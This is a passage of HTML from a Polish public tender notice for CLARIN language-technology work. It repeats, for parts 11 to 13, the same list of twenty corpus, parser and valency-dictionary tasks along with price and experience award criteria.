class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 11</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 12</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 13</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania 